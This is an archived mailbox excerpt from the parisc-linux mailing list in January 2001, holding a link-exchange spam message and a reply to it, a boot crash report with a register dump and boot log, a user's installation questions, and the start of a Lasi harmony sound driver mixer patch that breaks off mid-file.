commit your test pages, Matthew, off a new link on the top page "...
for another view" -- If it goes stale, it may be pruned away -- no
harm, no foul.  What say?

-- Russ



From - Thu Nov 08 21:15:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chelsea Lewis <support@seamem.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Instantly Increase Web Traffic with Links
Date: Tue, 16 Jan 2001 13:35:56 -0800
Lines: 21
Approved: news@gmane.org
Message-ID: <200101162135.NAA29795@isomedia.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619541 10486 80.91.229.3 (22 Nov 2014 01:25:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:41 +0000 (UTC)
To: <parisc-linux@thepuffingroup.com>
Original-X-From: support@seamem.com  Tue Jan 16 14:32:33 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA08543
	for <parisc-linux@puffin.external.hp.com>; Tue, 16 Jan 2001 14:32:33 -0700
Original-Received: (qmail 3697 invoked by uid 15267); 16 Jan 2001 21:36:11 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3662 invoked from network); 16 Jan 2001 21:36:10 -0000
Original-Received: from gollum.isomedia.com (HELO isomedia.com) (root@207.115.64.29)
  by mailserv2.iuinc.com with SMTP; 16 Jan 2001 21:36:10 -0000
Original-Received: from office-proxy (dlci213-m.isomedia.com [207.115.76.213])
	by isomedia.com (8.9.3/8.9.3) with SMTP id NAA29795
	for <parisc-linux@thepuffingroup.com>; Tue, 16 Jan 2001 13:35:56 -0800
Xref: news.gmane.org gmane.linux.ports.parisc:9228


Attn: Webmaster

Hi, my name is Chelsea Lewis and I am a web-marketing person at 1st-Memory Warehouse ( http://www.1st-memorywhse.com/ )  in Redmond, WA. I recently visited your website, www.parisc-linux.org, and was pleased with its quality and the fact that our sites have compatible content.  I was hoping that we could exchange url links. Our company's website does get a fair amount of traffic, but we are always looking for more. I have already added your site to our categorized links page , http://www.1st-memorywhse.com/links/themeindex.html , under the Linux category. Please go to the site and make sure that your site's description and other information is suitable. If there are any problems, please email me. 

As one of our Link Partners, I personally placed your site under its own category, so it is easy to find, and included a bold title, description and url. The number of hits both we and our partners receive increases every day, and I would love for your site to be a part of this directory. Reciprocal links are known to generate more traffic than even search engines can create. Even if you see yourself as one of our competitors, I encourage you to link with our site. Our goal is to make sure our web community is able to find other similar, quality sites like your's. Their options as consumers are expanded because they do not have to depend only on search engines. 

I would greatly appreciate a reciprocal link on your site. I have some helpful information about adding a link on your website to my website at http://www.1st-memorywhse.com/links/themeindex.html .  Thank you for taking the time to trade links. I am always pleased to represent various companies on our website, which have a lot to offer the web community. Thank You! 

Cordially Yours:

Chelsea Athena Lewis
support@seamem.com
http://www.1st-memorywhse.com/





..


From - Thu Nov 08 21:15:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Instantly Increase Web Traffic with Links
Date: Tue, 16 Jan 2001 14:42:07 -0700
Lines: 20
Approved: news@gmane.org
Message-ID: <20010116214207.B881C3891E@carmen.fc.hp.com>
References: <200101162135.NAA29795@isomedia.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619541 10489 80.91.229.3 (22 Nov 2014 01:25:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:41 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: taggart@carmen.fc.hp.com  Tue Jan 16 14:36:32 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA08799
	for <parisc-linux@puffin.external.hp.com>; Tue, 16 Jan 2001 14:36:32 -0700
Original-Received: (qmail 10643 invoked by uid 15267); 16 Jan 2001 21:40:13 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10562 invoked from network); 16 Jan 2001 21:40:12 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 16 Jan 2001 21:40:12 -0000
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel2.hp.com (Postfix) with ESMTP id 4031F11C8
	for <parisc-linux@thepuffingroup.com>; Tue, 16 Jan 2001 16:40:11 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP id B881C3891E
	for <parisc-linux@thepuffingroup.com>; Tue, 16 Jan 2001 14:42:07 -0700 (MST)
X-Mailer: exmh version 2.2 06/23/2000 (debian 2.2-1) with nmh-1.0.4+dev
In-Reply-To: Message from Chelsea Lewis <support@seamem.com> 
   of "Tue, 16 Jan 2001 13:35:56 PST." <200101162135.NAA29795@isomedia.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:9229


Chelsea Lewis writes...

> 
> Attn: Webmaster
> 
> Hi, my name is Chelsea Lewis and I am a web-marketing person at 1st-Memory Wa
> rehouse ( http://www.1st-memorywhse.com/ )  in Redmond, WA. I recently visite
> d your website, www.parisc-linux.org, and was pleased with its quality and th
> e fact that our sites have compatible content.

Well at least *she* liked the website.

Ha.

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation



From - Thu Nov 08 21:15:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@dot.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Apollo 700 serie  9000/720 already problems !
Date: Tue, 16 Jan 2001 23:48:50 +0100
Organization: private
Lines: 249
Approved: news@gmane.org
Message-ID: <3A64CFD2.4BA1439@dot.at>
References: <Pine.LNX.4.30.0101161658060.19995-100000@pokey.513erich.iwaynet.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619542 10492 80.91.229.3 (22 Nov 2014 01:25:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:42 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: christoph.plattner@dot.at  Tue Jan 16 15:45:27 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA09694
	for <parisc-linux@puffin.external.hp.com>; Tue, 16 Jan 2001 15:45:27 -0700
Original-Received: (qmail 13449 invoked by uid 15267); 16 Jan 2001 22:49:06 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13439 invoked from network); 16 Jan 2001 22:49:05 -0000
Original-Received: from dns2.dot.at (212.9.128.3)
  by mailserv2.iuinc.com with SMTP; 16 Jan 2001 22:49:05 -0000
Original-Received: from dot.at (IDENT:plattner@dot-tc01-022.dot.at [212.9.128.62])
	by dns2.dot.at (8.9.3/8.9.2) with ESMTP id XAA14144
	for <parisc-linux@thepuffingroup.com>; Tue, 16 Jan 2001 23:55:16 +0100
Original-Sender: plattner@dns2.dot.at
X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.18 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9230

Hi PA-RISC hackers !

I already have problems booting my HP apollo 700 serie (Model 720,
with 50MHz, 64MB RAM).
I build a new cross-compiler tool chain plus glibc-2, and already
was perfect. It was the snap shot of the Jan-13-2000. I also build
the kernel + lifimage. First of all I discovered the kernel crash
after or while parallel port init (also mentioned in your list for
the 735 model). So I configured it out, so my kernel continous booting.
The SCSI probing has a problem with the device ID0, a floppy on a
SCSI adapter. Ok, forget it. Then the kernel continous booting.
The kernel does a bootp and gets the answer from the server, then
it successfully mounts the NFS root, but by booting the init or 
any other tool I tried I see the folloing error:

:
:
Looking up port of RPC 100005/2 on 196.1.1.20
VFS: Mounted root (nfs filesystem) readonly.
Warning: unable to open an initial console.

handle_interruption() pid=1 command='init'

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001000000100001011
r0-3     00000000 40019b48 40002dfb 40001504
r4-7     40019b48 40000384 4000ec30 400198f4
r8-11    bb000148 40002d4c 400002f4 00000000
r12-15   00000081 00000080 bb0002f0 bb000048
r16-19   00000000 c02a0640 00000000 40019b48
r20-23   00000041 40000000 40000000 00000000
r24-27   40000000 00000001 bb000148 c011a800
r28-31   00000021 bb000148 bb0003c0 40002daf
sr0-3    00000000 00000000 00000000 0000ffff
sr4-7    00000001 00000001 00000001 00000001

IASQ: 00000001 00000001 IAOQ: 40003393 40003397
 IIR: 0ce61280    ISR: 00000001  IOR: 400198f4
ORIG_R28: 00000000
:
:

Can you give me a short explanation of this dump. 
On the HP I don't know the registers (on intel I do !).
Which describes the instrunction pointer to have a look
in the System.map. Is this IIR ?

The init I tried (the last attempt) was a fresh build `init'
from the init-2.77 package with the cross compiler by setting
the CC= varibale. The build could be done and a check with the
command `file' described the correct image.

What is this for a problem ???

I will add the complete boot log below.

Trying scsi.4.0
Boot path initialized.
Attempting to load IPL.


Hard booted.
palo ipl root@didymos.pladom1.at Sun Jan 14 12:44:07 CET 2001
0/vmlinux 2106807 bytes @ 0x6800
0/palo-cmdline '0/vmlinux HOME=/ TERM=linux root=/dev/nfs
nfsroot=196.1.1.20:/tf
tpboot/apollo/root console=ttyS0'
Kernel: partition 0 file /vmlinux
ELF32 executable

Entry 00100150 first 00000000 n 3
Segment 0 load 00000000 size 288 mediaptr 0x1000
Segment 1 load 00100000 size 1409924 mediaptr 0x2000
Segment 2 load 0025a000 size 294912 mediaptr 0x15b000
branching to kernel entry point 0x00100150
PDC Console Initialized
The 32-bit Kernel has started...
Enabled FP coprocessor
Free memory starts at: 0xc02cb000
start_parisc(0x504d70,0x504d70,0x0,0x0)
PALO command line: 'HOME=/ TERM=linux root=/dev/nfs
nfsroot=196.1.1.20:/tftpboot
/apollo/root console=ttyS0'
PALO initrd 0-0
model   00002000 00000481 00000000 00000000 0234072e 000011f4 00000004
0000000d 
00000000
vers    00000003
CPUID   vers 0 rev 0
model   9000/720
led_init: CPU_HVERSION 200
Searching for devices in PDC firmware... processor hpa 0xfffbe000
 an older box...
Found devices:
1. Coral SGC Graphics (10) at 0xf8000000, versions 0x4, 0x0, 0x77, 0x0,
0x0
2. Cobra Core BA (11) at 0xf082f000, versions 0x4, 0x0, 0x70, 0x0, 0x0
3. Cobra Core SCSI (10) at 0xf0825000, versions 0x4, 0x0, 0x71, 0x0, 0x0
4. Cobra Core LAN (802.3) (10) at 0xf0826000, versions 0x4, 0x0, 0x72,
0x0, 0x0
5. Cobra Core HIL (10) at 0xf0821000, versions 0x4, 0x0, 0x73, 0x0, 0x0
6. Cobra Core RS-232 (10) at 0xf0823000, versions 0x4, 0x0, 0x75, 0x0,
0x0
7. Cobra Core RS-232 (10) at 0xf0822000, versions 0x4, 0x0, 0x75, 0x0,
0x0
8. Cobra Core Centronics (10) at 0xf0824000, versions 0x4, 0x0, 0x74,
0x0, 0x0
9. Cobra (720) (0) at 0xfffbe000, versions 0x200, 0x0, 0x4, 0x0, 0x81
10. Cobra (1) at 0xfffbf000, versions 0x13, 0x0, 0x9, 0x0, 0x0
That's a total of 10 devices.
CPU(s): 1 x PA7000 (PCX-S) at 50.000000 MHz
Linux version 2.4.0-test10 (root@didymos.pladom1.at) (gcc version 2.96
20000925 
(experimental)) #2 Sun Jan 14 13:11:36 CET 2001
free_bootmem(0x2cb800, 0x3d34800)
initrd: 00000000-00000000
pagetable_init
On node 0 totalpages: 16384
zone(0): 8192 pages.
zone(1): 8192 pages.
zone(2): 0 pages.
Kernel command line: HOME=/ TERM=linux root=/dev/nfs
nfsroot=196.1.1.20:/tftpboot/apollo/root console=ttyS0
trap_init
Error reading tod clock
Calibrating delay loop... 49.77 BogoMIPS
Memory: 61512k available
Dentry-cache hash table entries: 8192 (order: 4, 65536 bytes)
Buffer-cache hash table entries: 4096 (order: 2, 16384 bytes)
Page-cache hash table entries: 16384 (order: 4, 65536 bytes)
Inode-cache hash table entries: 4096 (order: 3, 32768 bytes)
POSIX conformance testing by UNIFIX
ASP version 1 at 0xf0800000 found.
LED (ASP-style) display at 00000000 registered
Found i82596 at 0xf0826000, IRQ 87
early initialization of device eth0 is deferred
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Starting kswapd v1.8
pty: 256 Unix98 ptys configured
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
loop: enabling 8 loop devices
82596.c: MAC of HP700 LAN blindely read from the prom!
eth0: Couldn't get consistent shared memory
eth0: 82596 at 0xf0826000, 08 00 09 24 64 06 IRQ 87.
82596.c $Revision: 1.14 $
Serial driver version 5.02 (2000-08-09) with MANY_PORTS SHARE_IRQ
SERIAL_PCI ena
bled
ttyS00 at iomem 0xf0823800 (irq = 90) is a 16550A
ttyS01 at iomem 0xf0822800 (irq = 89) is a 16550A
Generic RTC Driver v1.02 05/27/1999 Sam Creasey (sammy@oh.verio.com)
SCSI subsystem driver Revision: 1.00
sim700: Couldn't get consistent shared memory
sim700: Configuring 53c700 (SCSI-ID 7) at f0825100, IRQ 86
scsi0: Revision 0x0
Post test1, istat 05, sstat0 00, dstat 84
sim700: WARNING IRQ probe failed, (returned 0)
scsi0: WARNING: target data areas are not dma coherent!
scsi0: test 1 completed ok.
scsi0 : LASI/Simple 53c7xx
scsi0: Unable to abort command for target 0
scsi0: Unable to send Bus Device Reset for target 0
scsi0: Unable to do SCSI bus reset
scsi0: >>>>>>>>>>>> Host reset <<<<<<<<<<<<
scsi0: istat = 0c, sstat0 = 00, sstat1 = 00, dstat = 00
scsi0: dsp = 03f98058 (script[0x0016]), dsps = 03f98cee, target = 0
scsi0: Failing command for ID0
scsi0: Unable to abort command for target 0
scsi0: Unable to abort command for target 1
scsi0: Unable to send Bus Device Reset for target 1
scsi0: Unable to do SCSI bus reset
scsi0: >>>>>>>>>>>> Host reset <<<<<<<<<<<<
scsi0: istat = 0c, sstat0 = 00, sstat1 = 00, dstat = 00
scsi0: dsp = 03f98058 (script[0x0016]), dsps = 03f98cee, target = 0
scsi0: Failing command for ID0
  Vendor: SEAGATE   Model: ST1480   SUN0424  Rev: 7516
  Type:   Direct-Access                      ANSI SCSI revision: 02
  Vendor: QUANTUM   Model: PD425S            Rev: 535A
  Type:   Direct-Access                      ANSI SCSI revision: 02
Detected scsi disk sda at scsi0, channel 0, id 4, lun 0
Detected scsi disk sdb at scsi0, channel 0, id 6, lun 0
SCSI device sda: 843284 512-byte hdwr sectors (432 MB)
Partition check:
 sda: unknown partition table
SCSI device sdb: 833150 512-byte hdwr sectors (427 MB)
 sdb: unknown partition table
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP
IP: routing cache hash table of 512 buckets, 4Kbytes
TCP: Hash tables configured (established 4096 bind 4096)
eth0: link ok.
Sending BOOTP requests.... OK
IP-Config: Got BOOTP answer from 196.1.1.20, my address is 196.1.1.110
NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
kmem_create: Forcing size word alignment - nfs_fh
Looking up port of RPC 100003/2 on 196.1.1.20
Looking up port of RPC 100005/2 on 196.1.1.20
VFS: Mounted root (nfs filesystem) readonly.
Warning: unable to open an initial console.

handle_interruption() pid=1 command='init'

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001000000100001011
r0-3     00000000 40019b48 40002dfb 40001504
r4-7     40019b48 40000384 4000ec30 400198f4
r8-11    bb000148 40002d4c 400002f4 00000000
r12-15   00000081 00000080 bb0002f0 bb000048
r16-19   00000000 c02a0640 00000000 40019b48
r20-23   00000041 40000000 40000000 00000000
r24-27   40000000 00000001 bb000148 c011a800
r28-31   00000021 bb000148 bb0003c0 40002daf
sr0-3    00000000 00000000 00000000 0000ffff
sr4-7    00000001 00000001 00000001 00000001

IASQ: 00000001 00000001 IAOQ: 40003393 40003397
 IIR: 0ce61280    ISR: 00000001  IOR: 400198f4
ORIG_R28: 00000000

handle_interruption() pid=1 command='init'

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001000000100001011
r0-3     00000000 40019b48 40002dfb 40001504
r4-7     40019b48 40000384 4000ec30 400198f4
r8-11    bb000148 40002d4c 400002f4 00000000
r12-15   00000081 00000080 bb0002f0 bb000048
r16-19   00000000 c02a0640 00000000 40019b48
r20-23   00000041 40000000 40000000 00000000
r24-27   40000000 00000001 bb000148 c011a800
r28-31   00000021 bb000148 bb0003c0 40002daf
sr0-3    00000000 00000000 00000000 0000ffff
sr4-7    00000001 00000001 00000001 00000001

IASQ: 00000001 00000001 IAOQ: 40003393 40003397
 IIR: 0ce61280    ISR: 00000001  IOR: 400198f4
ORIG_R28: 00000000

:
:
: ... and so on ...



-------------------------------------------------------------------------
private:        christoph.plattner@dot.at
company:        christoph.plattner@alcatel.at


From - Thu Nov 08 21:15:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Josiah Carlson <jcarlson@macalester.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] I'm having a couple problems
Date: Tue, 16 Jan 2001 16:57:00 -0600
Lines: 21
Approved: news@gmane.org
Message-ID: <3A64D1BC3C8.29B5JCARLSON@smtp.macalester.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619542 10494 80.91.229.3 (22 Nov 2014 01:25:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:42 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: jcarlson@macalester.edu  Tue Jan 16 15:54:49 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA10104
	for <parisc-linux@puffin.external.hp.com>; Tue, 16 Jan 2001 15:54:48 -0700
Original-Received: (qmail 28161 invoked by uid 15267); 16 Jan 2001 22:58:26 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28145 invoked from network); 16 Jan 2001 22:58:25 -0000
Original-Received: from apollo.cc.macalester.edu (141.140.1.2)
  by mailserv2.iuinc.com with SMTP; 16 Jan 2001 22:58:25 -0000
Original-Received: from dualcel400 ([141.140.106.33])
 by macalester.edu (PMDF V5.2-32 #38670)
 with SMTP id <01JYZDHCGXVO001OW1@macalester.edu> for
 parisc-linux@thepuffingroup.com; Tue, 16 Jan 2001 16:58:27 CDT
X-Mailer: Becky! ver 1.25.04
Xref: news.gmane.org gmane.linux.ports.parisc:9231

Alright...

Now that I've been mucking around with the .5 image for a week, I
thought I would ask two questions to solve the riddles that I am butting
my head on...

1. After following the directions listed on
http://www.parisc-linux.org/install.html, then booting off the newly
created bootable hard drive...I'm left with a read only volume. 
Numerous reboots to the image, chmods, changing of fstab and such on the
hard drive...I still cannot install debian packages (I get errors about
a read-only volume...hey, isn't that why I changed fstab?)
How do I get _actual_ r/w access to the volume that the system boots
>from?

2. How do I set up the ethernet interface within parisc-linux?  I've
never done this manually (always let redhat and netbsd do it's thing).

Thank you,
 - Josiah


From - Thu Nov 08 21:15:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthieu Delahaye <delahaym@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Lasi harmony driver with mixer
Date: Tue, 16 Jan 2001 23:59:56 +0100
Lines: 1413
Approved: news@gmane.org
Message-ID: <3A64D26B.B99BAE70@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------BBAF73974AD67657A56E9988"
X-Trace: ger.gmane.org 1416619542 10499 80.91.229.3 (22 Nov 2014 01:25:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:42 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: delahaym@esiee.fr  Tue Jan 16 15:56:37 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA10225
	for <parisc-linux@puffin.external.hp.com>; Tue, 16 Jan 2001 15:56:35 -0700
Original-Received: (qmail 30700 invoked by uid 15267); 16 Jan 2001 23:00:09 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30490 invoked from network); 16 Jan 2001 23:00:01 -0000
Original-Received: from mail.esiee.fr (147.215.1.3)
  by mailserv2.iuinc.com with SMTP; 16 Jan 2001 23:00:01 -0000
Original-Received: from pc5158a.esiee.fr (pc5158a.esiee.fr [147.215.50.165])
	by mail.esiee.fr (Postfix) with ESMTP id 4607AD1588
	for <parisc-linux@thepuffingroup.com>; Wed, 17 Jan 2001 00:00:00 +0100 (CET)
Original-Received: from localhost
	([127.0.0.1] helo=esiee.fr ident=delahaym)
	by pc5158a.esiee.fr with esmtp (Exim 3.12 #1 (Debian))
	id 14If56-0005CR-00
	for <parisc-linux@thepuffingroup.com>; Wed, 17 Jan 2001 00:00:00 +0100
Original-Sender: delahaym@esiee.fr
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.17 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9232

This is a multi-part message in MIME format.
--------------BBAF73974AD67657A56E9988
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Here is a patch to get mixer working on Lasi harmony audio.
It's based on work of Alex deVries.
At the boot time, the sound is muted.
If all works fine, you can use any mixer application which support OSS
Interface to change gains.
For tests, I used aumix which is available at
http://www.jpj.net/~trevor/aumix.html

You still can only play 8 bits mono u-law file.

Matthieu Delahaye
ESIEE Team
http://www.esiee.fr/puffin


--------------BBAF73974AD67657A56E9988
Content-Type: text/plain; charset=us-ascii;
 name="harmony.diff"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="harmony.diff"

diff -Nru linux.original/drivers/sound/Makefile linux/drivers/sound/Makefile
--- linux.original/drivers/sound/Makefile	Tue Jan 16 21:31:10 2001
+++ linux/drivers/sound/Makefile	Tue Jan 16 23:08:30 2001
@@ -108,7 +108,7 @@
 # Declare multi-part drivers.
 
 list-multi	:= sound.o gus.o pas2.o sb.o sb_lib.o vidc_mod.o \
-    soundcore.o wavefront.o
+    soundcore.o wavefront.o harmony.o
 
 sound-objs	:= 							\
     dev_table.o soundcard.o sound_syms.o		\
@@ -124,6 +124,7 @@
 sb_lib-objs	:= sb_common.o sb_audio.o sb_midi.o sb_mixer.o sb_ess.o
 vidc_mod-objs	:= vidc.o vidc_fill.o
 wavefront-objs  := wavfront.o wf_midi.o yss225.o
+harmony-objs    := harmony_driver.o harmony_sound.o harmony_mixer.o
 
 
 # Extract lists of the multi-part drivers.
@@ -189,6 +190,9 @@
 wavefront.o: $(wavefront-objs)
 	$(LD) -r -o $@ $(wavefront-objs)
 
+harmony.o: $(harmony-objs)
+	$(LD) -r -o $@ $(harmony-objs.o)
+
 # Firmware files that need translation
 #
 # The translated files are protected by a file that keeps track
@@ -332,3 +336,8 @@
 ifneq ($(FILES_BOOT_CHANGED),)
 $(FILES_BOOT_CHANGED): dummy
 endif
+
+
+
+
+
diff -Nru linux.original/drivers/sound/harmony.h linux/drivers/sound/harmony.h
--- linux.original/drivers/sound/harmony.h	Thu Jan  1 01:00:00 1970
+++ linux/drivers/sound/harmony.h	Tue Jan 16 23:08:44 2001
@@ -0,0 +1,135 @@
+#ifndef _HARMONY_H
+#define _HARMONY_H
+#include <linux/config.h>
+#include <linux/delay.h>
+#include <linux/kernel.h>
+#include <linux/errno.h>
+#include <linux/init.h>
+#include <linux/ioport.h>
+#include <linux/malloc.h>
+#include <linux/types.h>
+#include <linux/mm.h>
+#include <asm/gsc.h>
+
+#include <asm/pgalloc.h>
+#include <asm/pdc.h>
+#include <asm/page.h>
+#include <asm/segment.h>
+#include <asm/system.h>
+#include <asm/io.h>
+#include <asm/hardware.h>
+
+#include <asm/irq.h>            /* for "gsc" irq functions */
+#include <asm/gsc.h>
+
+#include "sound_config.h"
+#define MAX_BUFS 3
+
+#define CNTL_C		0x80000000
+#define	CNTL_ST		0x00000020
+#define CNTL_44100	0x00000015
+#define CNTL_8000	0x00000008
+
+#define GAINCTL_HE	0x08000000
+#define GAINCTL_LE	0x04000000
+#define GAINCTL_SE	0x02000000
+
+#define DSTATUS_PN	0x00000200
+#define DSTATUS_RN	0x00000002
+
+#define DSTATUS_IE	0x80000000
+
+#define HARMONY_DF_16BIT_LINEAR	0
+#define HARMONY_DF_8BIT_ULAW	1
+#define HARMONY_DF_8BIT_ALAW	2
+
+#define HARMONY_SS_MONO 1
+#define HARMONY_SS_STEREO 0
+
+#define HARMONY_SR_8KHZ 0x08
+#define HARMONY_SR_16KHZ 0x09
+#define HARMONY_SR_27KHZ 0x0A
+#define HARMONY_SR_32KHZ 0x0B
+#define HARMONY_SR_48KHZ 0x0E
+#define HARMONY_SR_9KHZ 0x0F
+#define HARMONY_SR_5KHZ 0x10
+#define HARMONY_SR_11KHZ 0x11
+#define HARMONY_SR_18KHZ 0x12
+#define HARMONY_SR_22KHZ 0x13
+#define HARMONY_SR_37KHZ 0x14
+#define HARMONY_SR_44KHZ 0x15
+#define HARMONY_SR_33KHZ 0x16
+#define HARMONY_SR_6KHZ 0x17
+
+#define HARMONY_BUF_NONE	-1
+#define HARMONY_BUF_EMPTY	0
+#define HARMONY_BUF_FILLED	1
+#define HARMONY_BUF_READY_TO_PLAY	2
+#define HARMONY_BUF_PLAYING	3
+
+struct harmony_hpa {
+	u8	unused000;
+	u8	id;
+	u8	teleshare_id;
+	u8	unused003;
+	u32	reset;
+	u32	cntl;
+	u32	gainctl;
+	u32	pnxtadd;
+	u32	pcuradd;
+	u32	rnxtadd;
+	u32	rcuradd;
+	u32	dstatus;
+	u32	ov;
+	u32	pio;
+	u32	unused02c;
+	u32	unused030[3];
+	u32	diag;
+};
+
+#define dma_consistent 0
+
+#define  CHECK_WBACK(addr,len) \
+        do { if (!dma_consistent) dma_cache_wback((unsigned long)addr,len); } while (0) 
+#define  CHECK_INV(addr,len) \
+        do { if (!dma_consistent) dma_cache_inv((unsigned long)addr,len); } while(0)
+
+#define  CHECK_WBACK_INV(addr,len) \
+        do { if (!dma_consistent) dma_cache_wback_inv((unsigned long)addr,len); } while (0) 
+
+struct harmony_dev {
+	int irq;
+	int frames_so_far;
+	struct harmony_hpa  *hpa;
+	int done;
+	int buf_state[MAX_BUFS+1];
+	u32 current_gain;
+	u8 data_format;
+	u8 sample_rate;
+	u8 stereo_select;  /* 1 = stereo, 0 = mono */
+	/* outstanding_buffers is a count that ensures that the number
+	   of recorded frames is the same as the number of played frames. 
+	   In the stable situation, this number is zero.  You should never
+	   disable interrupts until this is zero. */
+	int outstanding_buffers; 
+};
+
+int harmony_mixer_init(struct harmony_dev *);
+int harmony_audio_init(struct harmony_dev *);
+
+
+
+
+#endif _HARMONY_H
+
+
+
+
+
+
+
+
+
+
+
+
diff -Nru linux.original/drivers/sound/harmony_driver.c linux/drivers/sound/harmony_driver.c
--- linux.original/drivers/sound/harmony_driver.c	Thu Jan  1 01:00:00 1970
+++ linux/drivers/sound/harmony_driver.c	Tue Jan 16 23:09:13 2001
@@ -0,0 +1,183 @@
+/* 
+
+ 	drivers/sound/harmony.c 
+
+	This is a sound driver for Lasi's Harmony sound chip.  This is
+	unlikely to be used for anything other than a PA-RISC.
+
+	Harmony is found in HP 712s, 715/new, and many other GSC based machines. 
+Copyright 2000 (c) Linuxcare Canada, Alex deVries <alex@linuxcare.com>
+
+Bugs:
+
+1. Doesn't work on 715/old
+
+This driver doesn't work on 715/old machines, which include the 715/75.  The
+chip used for this is technically called 'Vivace', which is identical to 
+Harmony.  Should be easy to fix.  It has something to do with the way it is
+reported by the inventory code.  The HPA is not that of Lasi or ASP so the
+interrupts aren't registered properly.
+
+3. gain control ioctls are missing
+4. recording is missing
+
+5. Buffer handling code
+
+The three buffer system should probably be changed to use N buffers, so we 
+can load the buffers into memory and then exit.  Shouldn't be too hard, and 
+the performance will be a lot nicer.
+
+6. Clicks at start and finish
+
+I'm not sure why, but somehow I've introduced two clicks at the start and
+two clicks at the finish of each playing.  Shouldn't be too hard to track down.
+
+
+About the rotating buffer
+-------------------------
+
+I'm going to explain how the rotating buffer thing works because I had a hard
+time figuring it out for myself.
+
+At any given time, harmony uses two different buffers.  One is the frame
+that is currently playing, another is the frame that is ready to be played.
+
